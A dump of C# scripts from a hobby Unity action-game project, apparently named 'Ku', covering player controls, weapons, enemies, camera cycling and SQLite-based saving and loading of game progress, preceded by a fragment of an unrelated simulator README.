6 are met. 8. People will not get infected if they don't have infected neighbours and don't stand on infected cell. 9. There are only three communities with dimensions of 15x10, 12x12 and 10x15.
c038a178e385bbb89725bf6dd2055dc01c4fa517
[ "Markdown", "Java" ]
2
Java
Larkoss/Covid19-Simulator
9e31a1e50a5bd4cdabba612c817810b3fe35eb2c
bd753f668f861b3bcafe599e36eb9b4e709b36bb
refs/heads/master
<repo_name>Kindraman/Ku<file_sep>/Assets/Scripts/Game/Bow.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Bow : MonoBehaviour { public GameObject arrowPrefab; //public Transform arrowPos; // Use this for initialization void Start () { } // Update is called once per frame void Update () { } public void Attack(){ var a = Instantiate (arrowPrefab); a.transform.position = transform.position + transform.forward; a.transform.rotation = transform.rotation; } } <file_sep>/Library/Collab/Download/Assets/loadGameManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class loadGameManager : MonoBehaviour { public GameObject[] partida; public SQLCommands bdein; // Use this for initialization void Start () { //establecer conexión a la base de datos y preguntar por todas las partidas (3 max) foreach(DbPartidas db in bdein.dbPartidas){ Debug.Log("Something"); } } // Update is called once per frame void Update () { } } <file_sep>/Assets/Scripts/Game/StrongEnemy.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class StrongEnemy : Enemy { // Use this for initialization void Start () { health = 10; dmg = 2; } // Update is called once per frame void Update () { } public override void Hit () { base.Hit (); this.health--; Debug.Log ("Ouch!"); if (health <= 0) { Destroy (gameObject); } } } <file_sep>/Assets/Scripts/Game/SceneController.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using System; public class SceneController : MonoBehaviour { [Header("Game")] public Player_FPS player; public GameObject gameMenu; public GameObject gameOver; [Header("UI")] public GameObject[] hearts; public Text arrowText; public Text bombText; public Text expText; // Use this for initialization void Start () { //gameMenu.SetActive(false); /* if (!player) { player = GameObject.FindWithTag("Player").GetComponent<Player_FPS>(); if (GameObject.FindGameObjectWithTag("loadedData").GetComponent<DbPartidas>()) { //si encuentra el objetop //Debug.Log("He podido encontrar la data guardada: " + data.nombrePartida); // player player.loadData(GameObject.FindGameObjectWithTag("loadedData").GetComponent<DbPartidas>()); } } else { if (GameObject.FindGameObjectWithTag("loadedData").GetComponent<DbPartidas>()) { //si encuentra el objetop //Debug.Log("He podido encontrar la data guardada: " + data.nombrePartida); // player player.loadData(GameObject.FindGameObjectWithTag("loadedData").GetComponent<DbPartidas>()); } }*/ } // Update is called once per frame void Update () { if(player != null){ for(int i=0;i<hearts.Length;i++){ hearts[i].SetActive(i<player.health); } arrowText.text = "Arrows: "+player.arrowAmount; bombText.text = "Bombs: "+player.bombAmount; expText.text = "EXP: " + player.exp; } else { for(int i=0;i<hearts.Length;i++){ hearts[i].SetActive(false); } } if(player.health <= 0){ gameOverOn(); } } public void gameMenuOn(){ gameMenu.SetActive(true); } public void gameMenuOff() { gameMenu.SetActive(false); } public void gameOverOn(){ gameOver.SetActive(true); } } <file_sep>/Library/Collab/Download/Assets/Scripts/Menu/MenuSceneManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; public class MenuSceneManager : MonoBehaviour { // Use this for initialization public void newGame () { SceneManager.LoadScene("ZendaGame"); } public void loadGame(){ SceneManager.LoadScene("LoadGame"); } public void mainMenu(){ SceneManager.LoadScene("MainMenu"); } public void testing(){ Debug.Log("works"); } } <file_sep>/Assets/Scripts/Db/dataManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public abstract class dataManager : MonoBehaviour { protected DbPartidas dbp; public void setUp(){ if (GameObject.FindGameObjectWithTag("loadedData")) { //esto va para el script padre loaderData dbp = GameObject.FindGameObjectWithTag("loadedData").GetComponent<DbPartidas>(); // player.loadData(dbp); //no es el player el que carga sus datos si no el "loaderDataPlayer":loaderData } } public abstract void saveHelper(); public abstract void loadHelper(); } <file_sep>/Assets/Scripts/Game/Enemy.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Enemy : MonoBehaviour { protected int health; public int dmg; //public GameObject enemyWeakPoint; public virtual void Hit(){} public void OnTriggerEnter(Collider col){ if (col.tag == "Sword") { if(col.GetComponent<Sword>() != null && col.GetComponent<Sword>().IsAttacking){ Hit (); } } else if (col.tag == "Arrow") { Hit (); Destroy (col.gameObject); } } } <file_sep>/Assets/Scripts/Menu/SQLCommands.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using System.Data; //lib 1 BD using System.IO; //lib 2 BD using Mono.Data.Sqlite; //lib 3 BD using System; //lib 4 BD (util) public class SQLCommands : MonoBehaviour { string rutaDb; string strConexion; string DbFileName = "manu2.db"; //string sqlQuery; IDbConnection dbConnection; IDbCommand dbCommand; IDataReader dataReader; //public DbPartidas[] dbPartidas; //public List<DbPartidas> dbPartidas; //public loaderGame lg; //IData //for this instance: private string col1 = "id", col2 = "nombrePartida", col3 = "statePlayer", col4 = "fecha"; private string values = ""; public void loadingGame(){ abrirDb(); simple_select("partidas", "*"); //lg.UILogicOn(); cerrarDb(); } void Start() { //simple_select("partidas","*"); //(tableToSelect,item) // where("Camisas", "*", "marca","=" ,"SwingIt",true,"ASC","cantidad"); //(tableToSelect,item,column,value,isOrdered,orderType,orderCol) //insert("Camisas", "(7,'manunu','721EXP',1996)"); //(table,col1,...,col4,values) "(7,'manunu','721EXP',1996)" //updateBd("Camisas","7","12", "Manuelin", "900EXP", "25");//string table,string idRow, string val1, string val2, string val3, string val4 //delete("Camisas", "12"); //cerrarDb(); // } private void abrirDb() { //1)Crear y abrir la conexión. rutaDb = Application.dataPath + "/Resources/Data/StreamingAssets/" + DbFileName; strConexion = "URI=file:" + rutaDb; dbConnection = new SqliteConnection(strConexion); dbConnection.Open(); } private void simple_select(string table, string item) { //2)Crear la consulta dbCommand = dbConnection.CreateCommand(); string sqlQuery = "select " + item + " from " + table; dbCommand.CommandText = sqlQuery; //string[] row; int i = 0; //3)Leer la Bd dataReader = dbCommand.ExecuteReader(); //string suma = ""; while (dataReader.Read()) { //Mientras esté leyendo la BD //id int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna) //marca string nombrePartida = dataReader.GetString(1); //color string statePlayer = dataReader.GetString(2); //cantidades string fecha = dataReader.GetString(3); //var dbp = new DbPartidas(id, nombrePartida, statePlayer, fecha); //DbPartidas dbp = lg.partidasBox[i].GetComponent<DbPartidas>(); //dbp.construct(id,nombrePartida,statePlayer,fecha); // dbp.ready = true; if(i<2){ Debug.Log(i); i++; } //dbp.debug(); //string resume = id+":"+nombrePartida+":"+statePlayer+":"+fecha; //suma += id + "_" + nombrePartida + "_" + statePlayer + "_" + fecha+" -"; } Debug.Log("i final es: " + i); } private void where(string table, string item, string col,string comparador, string val, bool isOrdered, string orderType, string orderItem ){ //2)Crear la consulta int n; if(!int.TryParse(val, out n)){ //verdadero //no es numerica (es string) val = "'"+val+"'"; } dbCommand = dbConnection.CreateCommand(); string sqlQuery = "select " + item + " from " + table + " where "+col+" "+comparador+" "+val; if(isOrdered){ sqlQuery += " order by "+orderItem +" "+orderType; } dbCommand.CommandText = sqlQuery; //3)Leer la Bd dataReader = dbCommand.ExecuteReader(); while (dataReader.Read()) { //Mientras esté leyendo la BD //id int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna) //marca string marca = dataReader.GetString(1); //color string color = dataReader.GetString(2); //cantidades //int cantidad = dataReader.GetInt32(3); Debug.Log(id + "-" + marca + "-" + color); } } private void insertBasic(string table){ //values ya debe venir asi (val1,val2,val3,val4),.. (....) //este es un insert pensado en tablas de 4 columnas. (id,nombrePartida,EXPERIENCIA,fecha) //2)Crear la consulta dbCommand = dbConnection.CreateCommand(); //values = "(7,'manunu','721EXP',1996)"; string sqlQuery = "insert into " + table + "("+ col2 + "," + col3 + "," + col4+")" +" values " + this.values; dbCommand.CommandText = sqlQuery; dbCommand.ExecuteScalar(); Debug.Log("Insert GOOOD"); //cerrarDb(); } private void updateBd(string table,string idRow, string val1, string val2, string val3, string val4) { //UPDATE table_name // SET column1 = value1, column2 = value2...., columnN = valueN // WHERE[condition]; dbCommand = dbConnection.CreateCommand(); //values = "(7,'manunu','721EXP',1996)"; string sqlQuery = "update " + table +" set "+col1+" = "+val1+", "+col2+" = '"+val2+"', "+col3+" = '"+val3+"',"+col4+" = "+val4 + " where "+ col1 +" = "+ idRow; dbCommand.CommandText = sqlQuery; dbCommand.ExecuteScalar(); Debug.Log("update GOOOD"); } private void delete(string table,string idRow){ dbCommand = dbConnection.CreateCommand(); //values = "(7,'manunu','721EXP',1996)"; string sqlQuery = "delete from "+table+" where "+col1+" = "+idRow; dbCommand.CommandText = sqlQuery; dbCommand.ExecuteScalar(); Debug.Log("delete GOOOD"); } private void cerrarDb(){ dataReader.Close(); dataReader = null; dbCommand.Dispose(); dbCommand = null; dbConnection.Close(); dbConnection = null; } public void cerrarDb_ins(){ dbCommand.Dispose(); dbCommand = null; dbConnection.Close(); dbConnection = null; } private void convertToValues(){ DbPartidas dbp = GameObject.FindWithTag("loadedData").GetComponent<DbPartidas>(); this.values = "('"+dbp.nombrePartida + "','" + dbp.playerState + "','" + dbp.fecha + "')"; } public void inserter(){ abrirDb(); convertToValues(); insertBasic("partidas"); cerrarDb_ins(); } } <file_sep>/Assets/Scripts/Game/Arrow.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Arrow : Proyectile { void Start(){ base.starting(); dmg = 1; } } <file_sep>/Assets/Scripts/Db/dataManagerPartidaUI.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class dataManagerPartidaUI : dataManager { public GenericRepo repo; //aqui ocupa el generico!!! public GameObject[] partidasBox; void Start () { // setUp(); repo.load(); } public override void loadHelper() { //establecer conexión a la base de datos y preguntar por todas las partidas (3 max) for (int i = 0; i < 3; i++) { if (partidasBox[i].GetComponent<DbPartidas>().ready) { partidasBox[i].gameObject.SetActive(true); //Debug.Log(partidasBox.ToString()); Debug.Log("Active Self: " + partidasBox[i].activeSelf); Debug.Log("Active in Hierarchy" + partidasBox[i].activeInHierarchy); partidasBox[i].GetComponentInChildren<Text>().text = partidasBox[i].GetComponent<DbPartidas>().infoPartida(); Debug.Log("HIII entre aqui!"); } } } public override void saveHelper() { throw new System.NotImplementedException(); } } <file_sep>/Assets/Scripts/Db/dataManagerPlayer.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class dataManagerPlayer : dataManager { // Use this for initialization private Player_FPS player; void Start () { setUp(); //loadData(); player = GameObject.FindWithTag("Player").GetComponent<Player_FPS>(); if(player){ loadHelper(); } } public override void loadHelper()//Carga los datos de la partida en player. { string[] subStrings = dbp.playerState.Split(':'); player.transform.position = dbp.obtainPos(subStrings[0]); player.exp = int.Parse(subStrings[1]); player.health = int.Parse(subStrings[2]); player.bombAmount = int.Parse(subStrings[4]); player.arrowAmount = int.Parse(subStrings[3]); player.achievements = subStrings[5]; //player.loadData(dbp); //no es el player el que carga sus datos si no el "loaderDataPlayer":loaderData } public override void saveHelper() { string state = player.transform.position.x + "," + player.transform.position.y + "," + player.transform.position.z + ":" + player.exp + ":" + player.health + ":" + player.arrowAmount + ":" + player.bombAmount + ":" + "ninguno"; dbp.playerState = state; dbp.nombrePartida = "Partida nº" + dbp.id; dbp.fecha = "10/09/2018"; dbp.exp = player.exp; dbp.health = player.health; dbp.nArrows = player.arrowAmount; dbp.nBombs = player.bombAmount; dbp.achievements = player.achievements; } public void prepareSave(){ if (!GameObject.FindWithTag("loadedData")) //si no hay partida cargada... se crea una "memoria" { GameObject obj = new GameObject(); obj.tag = "loadedData"; dbp = obj.AddComponent<DbPartidas>(); } else { dbp = GameObject.FindWithTag("loadedData").GetComponent<DbPartidas>(); //si la hay se carga } saveHelper(); // dbp.id = 1; } } <file_sep>/Assets/Plugins/ConexDB.cs using System.Collections; using System.Collections.Generic; using System.Data; //lib 1 BD using System.IO; //lib 2 BD using Mono.Data.Sqlite; //lib 3 BD using System; //lib 4 BD (util) using UnityEngine; public class ConexDB : MonoBehaviour { string rutaDb; string strConexion; string DbFileName = "RopaMarianoDB.sqlite"; IDbConnection dbConnection; IDbCommand dbCommand; IDataReader dataReader; void Start () { abrirDb(); } private void abrirDb(){ //1)Crear y abrir la conexión. rutaDb = Application.dataPath + "/StreamingAssets/" + DbFileName; strConexion = "URI=file:" + rutaDb; dbConnection = new SqliteConnection(strConexion); dbConnection.Open(); //2)Crear la consulta dbCommand = dbConnection.CreateCommand(); string sqlQuery = "select * from Camisas"; dbCommand.CommandText = sqlQuery; //3)Leer la Bd dataReader = dbCommand.ExecuteReader(); while(dataReader.Read()){ //Mientras esté leyendo la BD //id int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna) //marca string marca = dataReader.GetString(1); //color string color = dataReader.GetString(2); //cantidades int cantidad = dataReader.GetInt32(3); Debug.Log(id + "-" + marca + "-" + color + "-" + cantidad); } dataReader.Close(); dataReader = null; dbCommand.Dispose(); dbCommand = null; dbConnection.Close(); dbConnection = null; } } <file_sep>/README.md # Ku Repository Impls <file_sep>/Assets/Scripts/Game/Sword.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Sword : MonoBehaviour { public float swingingSpeed; public float cooldownSpeed; public float cooldownDuration; public float attackDuration; private float cooldownTimer; private Quaternion targetRotation; private Quaternion initialRotation; private bool isAttacking; public bool IsAttacking { get{ return isAttacking; } } // Use this for initialization void Start () { isAttacking = false; initialRotation = this.transform.localRotation;//Quaternion.Euler(0f,0f,0f); //igual a rotacion inicial ... //attackDuration = 0.4f; //twitch later //cooldownDuration =as 5f; } // Update is called once per frame void Update () { transform.localRotation = Quaternion.Lerp (transform.localRotation, targetRotation, (isAttacking ? swingingSpeed : cooldownSpeed) * Time.deltaTime); cooldownTimer -= Time.deltaTime; Debug.Log("initialRotation: "+initialRotation+"\ntargetRotation: "+targetRotation); } public void Attack(){ if (cooldownTimer > 0f) { return; } isAttacking = true; targetRotation = Quaternion.Euler (75f,-20f,0f); cooldownTimer = cooldownDuration; StartCoroutine (CooldownAttack()); } //Espera el tiempo de ataque y luego devuelve la espadita xD private IEnumerator CooldownAttack(){ yield return new WaitForSeconds (attackDuration); isAttacking = false; targetRotation = initialRotation;//Quaternion.Euler (0f, 0f, 0f); } } <file_sep>/Assets/Scripts/Menu/GenericRepo.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public abstract class GenericRepo : MonoBehaviour { //public DbPartidas partida; public abstract void load(); public abstract void save(); } <file_sep>/Assets/Scripts/Game/Proyectile.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Proyectile : MonoBehaviour { // Use this for initialization public float proyectileSpeed = 700f; public float proyectileDuration = 7f; public int dmg; protected void starting () { GetComponent<Rigidbody> ().velocity = transform.forward * proyectileSpeed; Destroy (gameObject, proyectileDuration); } } <file_sep>/Assets/Scripts/Game/deadZone.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class deadZone : MonoBehaviour { void OnTriggerEnter(Collider other) { if (other.tag =="Player") { other.GetComponent<pepeplayer> ().respawn (); } } } <file_sep>/Assets/Scripts/Game/FollowCamera.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class FollowCamera : MonoBehaviour { //public Transform targetFollow; //private Vector3 startPos; //private float offset_dis; //private Vector3 cameraPos; void Start(){ //startPos = this.transform.position; //cameraPos = targetFollow.position + startPos; //offset_dis = Vector3.Distance (startPos, targetFollow.position); } private void update_offset(){ //return Vector3.Distance (transform.position, targetFollow.position); } } <file_sep>/Assets/Scripts/Game/PatrollingLogic.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PatrollingLogic : MonoBehaviour { public Vector3[] directions; public float movingSpeed; public int timeToChange; public int directionIndex; public float directionTimer; private Rigidbody rb; // Use this for initialization void Start () { directionIndex =0; directionTimer = timeToChange; rb = GetComponent<Rigidbody>(); } // Update is called once per frame void Update () { directionTimer -= Time.deltaTime; if(directionTimer<=0){ directionTimer =timeToChange; directionIndex++; if(directionIndex >= directions.Length){ directionIndex=0; } } rb.velocity = new Vector3 ( directions[directionIndex].x * movingSpeed, rb.velocity.y, directions[directionIndex].z * movingSpeed ); } } <file_sep>/Assets/Scripts/Game/fix_pos.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class fix_pos : MonoBehaviour { public Transform parent_obj; // Use this for initialization void Start () { } // Update is called once per frame void Update () { this.transform.position = parent_obj.position; } } <file_sep>/Assets/Scripts/Menu/SQLRepo.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using System.Data; //lib 1 BD using System.IO; //lib 2 BD using Mono.Data.Sqlite; //lib 3 BD using System; //lib 4 BD (util) public class SQLRepo : GenericRepo { public dataManagerPartidaUI dataManagerPartidaUI; private IDbConnection dbConnection; private IDbCommand dbCommand; private IDataReader dataReader; string rutaDb; string strConexion; string DbFileName = "manu2.db"; private string table = "partidas"; private string col1 = "id", col2 = "nombrePartida", col3 = "statePlayer", col4 = "fecha"; private string values = ""; public override void load(){ rutaDb = Application.dataPath + "/StreamingAssets/" + DbFileName; strConexion = "URI=file:" + rutaDb; dbConnection = new SqliteConnection(strConexion); dbConnection.Open(); Debug.Log("FlagL1"); loadHelper("*"); Debug.Log("FlagL2"); dataManagerPartidaUI.loadHelper(); //dataManagerPartidaUI Debug.Log("FlagL3"); //Cerrando DB... dataReader.Close(); dataReader = null; dbCommand.Dispose(); dbCommand = null; dbConnection.Close(); dbConnection = null; } public override void save() { //Se Crea y abre la conexión con la BD. rutaDb = Application.dataPath + "/StreamingAssets/" + DbFileName; strConexion = "URI=file:" + rutaDb; dbConnection = new SqliteConnection(strConexion); dbConnection.Open(); Debug.Log("Flag1"); //Obteniendo valores de la partida actual (DbPartidas). DbPartidas dbp = GameObject.FindWithTag("loadedData").GetComponent<DbPartidas>(); this.values = "('" + dbp.nombrePartida + "','" + dbp.playerState + "','" + dbp.fecha + "')"; Debug.Log("Flag2"); //Guardando datos.. dbCommand = dbConnection.CreateCommand(); string sqlQuery = "insert into " + table + " (" + col2 + "," + col3 + "," + col4 + ")" + " values " + this.values; dbCommand.CommandText = sqlQuery; dbCommand.ExecuteScalar(); Debug.Log("Flag3"); //Cerrando DB... dbCommand.Dispose(); dbCommand = null; dbConnection.Close(); dbConnection = null; Debug.Log("Saved"); } protected void loadHelper(string item) { //2)Crear la consulta dbCommand = dbConnection.CreateCommand(); string sqlQuery = "select " + item + " from " + table; dbCommand.CommandText = sqlQuery; //string[] row; int i = 0; //3)Leer la Bd dataReader = dbCommand.ExecuteReader(); //string suma = ""; while (dataReader.Read()) { //Mientras esté leyendo la BD //id int id = dataReader.GetInt32(0); //obtiene el dato tipo int de la casilla nº0 (columna) //marca string nombrePartida = dataReader.GetString(1); //color string statePlayer = dataReader.GetString(2); //cantidades string fecha = dataReader.GetString(3); //var dbp = new DbPartidas(id, nombrePartida, statePlayer, fecha); DbPartidas dbp = dataManagerPartidaUI.partidasBox[i].GetComponent<DbPartidas>(); dbp.construct(id, nombrePartida, statePlayer, fecha); dbp.ready = true; if (i < 2) { Debug.Log(i); i++; } } } } <file_sep>/Assets/Scripts/Game/SimpleEnemy.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class SimpleEnemy : Enemy { // Use this for initialization void Start () { this.health = 3; this.dmg = 1; } // Update is called once per frame void Update () { } public override void Hit () { base.Hit (); this.health--; Debug.Log ("Auch!"); if (health <= 0) { Player_FPS player = GameObject.FindWithTag("Player").GetComponent<Player_FPS>(); player.exp += 100; Destroy (gameObject); } } } <file_sep>/Assets/Scripts/Game/CameraCycle.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class CameraCycle : MonoBehaviour { //Hice un cambito. public Camera[] cameraArr; private int index; // Use this for initialization void Start () { this.index = 0; usingCamera (this.index); } // Update is called once per frame void Update () { if (this.index > 2) { this.index = 0; } if (Input.GetKeyDown (KeyCode.Return) && this.index <=2) { usingCamera (this.index++); } } private void usingCamera(int index){ for (int i = 0; i < cameraArr.Length; i++) { cameraArr [i].gameObject.SetActive (i == index); } } } <file_sep>/Library/Collab/Download/Assets/Scripts/DBobj.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class DBobj : MonoBehaviour { /* *Tiene partidas (es un objeto) *Sabe parsear sus datos y se llena */ // Use this for initialization void Start () { } // Update is called once per frame void Update () { } } <file_sep>/Assets/Scripts/Game/ShootingEnemy.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class ShootingEnemy : Enemy { // Use this for initialization //Este enemigo tiene una pequeña inclinación hacia adelante cuando se mueve (smooth) //Sigue al player y cuando está a R distancia de el se detiene, le apunta ( dirección en ese instante) y se demora t segundos en hacer el disparo (charging shoot) //luego espera t2 segundos y vuelve a empezar el ciclo de ataque(sigue al player) public Transform[] cannonPos; public GameObject bulletPrefab; public GameObject model; public float timeToShoot=3f; private float shootTimer; public Player_FPS player; void Start () { shootTimer=timeToShoot; dmg = 1; player = GameObject.FindWithTag("Player").GetComponent<Player_FPS>(); Debug.Log("PlayerBombs: " + player.bombAmount); } // Update is called once per frame void Update () { shootTimer-= Time.deltaTime; if(shootTimer<=0f){ shootTimer = timeToShoot; var bullet =Instantiate(bulletPrefab); bullet.transform.position = cannonPos[1].position + model.transform.forward; bullet.transform.forward = model.transform.forward; } } public override void Hit () { base.Hit (); this.health--; Debug.Log ("Dush!"); if (health <= 0) { player.exp += 100; Debug.Log("Playerexp: "+player.exp); Destroy (gameObject); } } } <file_sep>/Assets/Scripts/Game/PlayerMovement.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PlayerMovement : MonoBehaviour { public float rotatingSpeed; public float moveSpeed; public float jumpForce; private bool canJump; private Transform lastSpawn; public Transform firstSpawn; public Transform obj; // Use this for initialization void Start () { canJump = true; lastSpawn = firstSpawn; } void Update(){ if (Input.GetKeyDown (KeyCode.Space) && canJump) { obj.transform.GetComponent<Rigidbody> ().AddForce (Vector3.up * moveSpeed * jumpForce); canJump = false; } processInput (); } private void processInput(){ if (Input.GetKey (KeyCode.LeftArrow)) this.transform.RotateAround (transform.position, Vector3.up, -rotatingSpeed * Time.deltaTime); if (Input.GetKey (KeyCode.RightArrow)) this.transform.RotateAround (transform.position, Vector3.up, rotatingSpeed * Time.deltaTime); if (Input.GetKey (KeyCode.UpArrow)) this.transform.position += transform.forward* moveSpeed * Time.deltaTime; if (Input.GetKey(KeyCode.DownArrow)) this.transform.position += transform.forward * -moveSpeed * Time.deltaTime; } public Vector3 respawn(){ transform.position = lastSpawn.position; return lastSpawn.position; } public void jumpAble(){ canJump = true; } public void renewSpawn(Vector3 newSpawn){ lastSpawn.position = newSpawn; } } <file_sep>/Assets/Scripts/Game/Player_FPS.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Player_FPS : MonoBehaviour { [Header("Visuals")] public GameObject modelPlayer; [Header("Attributes")] public int health = 5; public int exp=0; public string achievements; [Header("Movement")] public float moveVelocity; public float jumpVelocity; public float rotatingSpeed; public float throwingSpeed; public float knockbackForce; public float knockbackTime; public float upForce; private float knockbackTimer; [Header("Equipment")] public Sword sword; public Bow bow; public int arrowAmount = 15; public GameObject bombPrefab; public int bombAmount; [Header("Others")] private bool canJump; private Quaternion playerModelRotation; private Transform lastSpawn; public Transform firstSpawn; private Rigidbody rb; private bool gameFlag = false; private bool isGrounded = false; private GameObject sceneController; // Use this for initialization void Start () { canJump = true; lastSpawn = firstSpawn; rb = transform.GetComponent<Rigidbody> (); //playerModelRotation = modelPlayer.GetComponent<Transform> ().rotation; bow.gameObject.SetActive (false); sceneController = GameObject.FindWithTag("SceneController"); } void Update(){ RaycastHit hit; if(Physics.Raycast(transform.position,Vector3.down,out hit,1.01f)){ if (hit.collider.tag == "floor") { this.canJump = true; this.isGrounded = true; } } //modelPlayer.transform.rotation = Quaternion.Lerp (modelPlayer.transform.rotation, playerModelRotation, rotatingSpeed * Time.deltaTime); if(knockbackTimer>0f){ knockbackTimer-=Time.deltaTime; } else{ processInput (); } } /* public void loadData(DbPartidas dbp){ string[] subStrings = dbp.playerState.Split(':'); this.transform.position = dbp.obtainPos(subStrings[0]); this.exp = int.Parse(subStrings[1]); Debug.Log("Cargando EXP: " + subStrings[1]); this.health = int.Parse(subStrings[2]); this.arrowAmount = int.Parse(subStrings[3]); this.bombAmount = int.Parse(subStrings[4]); this.achievements = subStrings[5]; }*/ private void processInput(){ rb.velocity = new Vector3 (0f,rb.velocity.y,0f); /* float Horizontal = Input.GetAxis("Horizontal"); float Vertical = Input.GetAxis("Vertical"); if (Input.GetKey(KeyCode.W)) { rb.velocity = transform.forward * (Vertical * speed); } if (Input.GetKey("s")) { rb.velocity = transform.forward * (Vertical * speed); } if (Input.GetKey("a")) { rb.velocity = transform.right * (Horizontal * speed); } if (Input.GetKey("d")) { rb.velocity = transform.right * (Horizontal * speed); }*/ if(Input.GetKeyDown(KeyCode.Escape)){ //llama un prepareSave del datamanagerplayer //GameObject.FindWithTag("SceneController") sceneController.GetComponent<dataManagerPlayer>().prepareSave(); if (gameFlag) { sceneController.GetComponent<SceneController>().gameMenuOff(); gameFlag = false; } else { sceneController.GetComponent<SceneController>().gameMenuOn(); gameFlag = true; } } if (Input.GetKey (KeyCode.A)) { //rb.velocity = new Vector3 (-moveVelocity, rb.velocity.y, rb.velocity.z); //playerModelRotation = Quaternion.Euler (0f, 270f, 0f); rb.velocity += -transform.right * moveVelocity; } if (Input.GetKey (KeyCode.D)) { //rb.velocity = new Vector3 (moveVelocity, rb.velocity.y, rb.velocity.z); //playerModelRotation = Quaternion.Euler (0f, 90f, 0f); rb.velocity += transform.right * moveVelocity; } if (Input.GetKey (KeyCode.W)) { //rb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, moveVelocity); //playerModelRotation = Quaternion.Euler (0f, 0f, 0f); rb.velocity += transform.forward * moveVelocity; } if (Input.GetKey (KeyCode.S)) { rb.velocity -= transform.forward * moveVelocity; //playerModelRotation = Quaternion.Euler (0f, 180f, 0f); } if(isGrounded){ rb.velocity = new Vector3(rb.velocity.x, 0f, rb.velocity.z); Debug.Log("Is grounded"); //Vector fixY = } if (Input.GetKeyDown (KeyCode.Space) && canJump) { ///rb.velocity = new Vector3 (rb.velocity.x, jumpVelocity, rb.velocity.z); rb.velocity += transform.up * jumpVelocity; canJump = false; isGrounded = false; } //Checking for equipment interaction if (Input.GetKeyDown (KeyCode.E)) { sword.Attack (); sword.gameObject.SetActive (true); bow.gameObject.SetActive (false); } if (Input.GetKeyDown (KeyCode.R)) { throwBomb (); bow.gameObject.SetActive(false); } if (Input.GetKeyDown (KeyCode.Q)) { if (arrowAmount <= 0) { return; } bow.Attack (); bow.gameObject.SetActive (true); sword.gameObject.SetActive (false); arrowAmount--; } } private void throwBomb(){ if (bombAmount <= 0) { return; } var b = Instantiate (bombPrefab); b.transform.position = transform.position + modelPlayer.transform.forward; //* throwingSpeed; Vector3 throwingDir = (modelPlayer.transform.forward + Vector3.up).normalized; b.GetComponent<Rigidbody> ().AddForce (throwingDir * throwingSpeed); bombAmount--; } public Vector3 respawn(){ transform.position = lastSpawn.position; return lastSpawn.position; } public void jumpAble(){ canJump = true; } public void renewSpawn(Vector3 newSpawn){ lastSpawn.position = newSpawn; } public void OnTriggerEnter(Collider col){ if (col.tag == "EnemyProyectile") { int dmg = col.GetComponent<Proyectile>().dmg; Vector3 knockback = (transform.position - col.transform.position).normalized; Vector3 knockbackDir = (knockback + Vector3.up*upForce).normalized; rb.velocity = new Vector3 (0f,0f,0f); Debug.Log("Entre al trigger"); Hit (dmg,knockbackDir); Destroy(col.gameObject); } } public void OnCollisionEnter(Collision col){ if (col.gameObject.tag == "Enemy") { int dmg = col.gameObject.GetComponent<Enemy>().dmg; Vector3 knockback = (transform.position - col.transform.position).normalized; Vector3 knockbackDir = (knockback + Vector3.up*upForce).normalized; rb.velocity = new Vector3 (0f,0f,0f); Debug.Log("Entre al collider!!!"); Hit (dmg,knockbackDir); } } public void Hit(int dmg, Vector3 knockbackDir){ this.rb.AddForce(knockbackDir * knockbackForce); knockbackTimer = knockbackTime; Debug.Log("OMG"); health-=dmg; if (health <= 0) { Destroy (gameObject); } } //} } <file_sep>/Assets/Scripts/Game/pepeplayer.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class pepeplayer : MonoBehaviour { public PlayerMovRB parent_obj; public void respawn(){ //parent_obj.respawn (); //avisar al gc que corrija la camara transform.position = parent_obj.respawn (); } public void renewSpawn(Vector3 pos){ parent_obj.renewSpawn (pos); } public void endlvl(){ //hacer algo xD } void OnCollisionEnter(Collision hit) { if (hit.collider.tag == "floor") { parent_obj.jumpAble (); }else if (hit.collider.tag == "endZone") { endlvl (); Debug.Log ("Lvl finalizado"); } } void OnTriggerEnter(Collider other) { if (other.tag == "deadZone") { respawn (); } else if (other.tag == "checkPoint") { renewSpawn (other.transform.position); Debug.Log ("Entrando al new check"); } } } <file_sep>/Assets/Scripts/Game/PlayerMovRB.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class PlayerMovRB : MonoBehaviour { [Header("Visuals")] public GameObject modelPlayer; [Header("Attributes")] public int health = 5; [Header("Movement")] public float moveVelocity; public float jumpVelocity; public float rotatingSpeed; public float throwingSpeed; public float knockbackForce; public float knockbackTime; public float upForce; private float knockbackTimer; [Header("Equipment")] public Sword sword; public Bow bow; public int arrowAmount = 15; public GameObject bombPrefab; public int bombAmount; [Header("Others")] private bool canJump; private Quaternion playerModelRotation; private Transform lastSpawn; public Transform firstSpawn; private Rigidbody rb; // Use this for initialization void Start () { canJump = true; lastSpawn = firstSpawn; rb = transform.GetComponent<Rigidbody> (); playerModelRotation = modelPlayer.GetComponent<Transform> ().rotation; bow.gameObject.SetActive (false); } void Update(){ 